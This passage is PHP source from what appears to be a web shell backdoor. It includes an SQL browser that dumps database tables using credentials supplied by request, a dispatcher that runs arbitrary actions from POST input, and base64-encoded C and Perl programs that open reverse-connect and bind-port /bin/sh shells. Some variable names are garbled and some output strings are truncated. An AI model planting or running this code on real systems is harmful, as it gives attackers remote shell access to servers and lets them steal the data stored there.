$columns[] = $k;
}
$sql =
'INSERT INTO ' .
$table .
' (' .
implode(', ', $columns) .
') VALUES (' .
implode(', ', $â) .
');' .
"
";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
}
break;
}
return false;
}
}
$db = new DbClass($_POST['type']);
if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
$db->connect(
$_POST['sql_host'],
$_POST['sql_login'],
$_POST['sql_pass'],
$_POST['sql_base']
);
$db->selectdb($_POST['sql_base']);
switch ($_POST['charset']) {
case 'Windows-1251':
$db->setCharset('cp1251');
break;
case 'UTF-8':
$db->setCharset('utf8');
break;
case 'KOI8-R':
$db->setCharset('koi8r');
break;
case 'KOI8-U':
$db->setCharset('koi8u');
break;
case 'cp866':
$db->setCharset('cp866');
break;
}
if (empty($_POST['file'])) {
ob_start('ob_gzhandler', 4096);
header('Content-Disposition: attachment; filename=dump.sql');
header('Content-Type: text/plain');
foreach ($_POST['tbl'] as $v) {
$db->dump($v);
}
exit();
} elseif ($fp = @fopen($_POST['file'], 'w')) {
foreach ($_POST['tbl'] as $v) {
$db->dump($v, $fp);
}
fclose($fp);
unset($_POST['p2']);
} else {
die(
''
);
}
}
hardHeader();
echo "
Sql browser
';
hardFooter();
}
function actionNetwork()
{
hardHeader();
$back_connect_c =
'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9';
$back_connect_p =
'IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7';
$bind_port_c =
'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9';
$bind_port_p =
'IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=';
echo "Network tools
';
hardFooter();
}
if (empty($_POST['a'])) {
if (isset($â) && function_exists('action' . $â)) {
$_POST['a'] = $â;
} else {
$_POST['a'] = 'FilesMan';
}
}
if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
call_user_func('action' . $_POST['a']);
}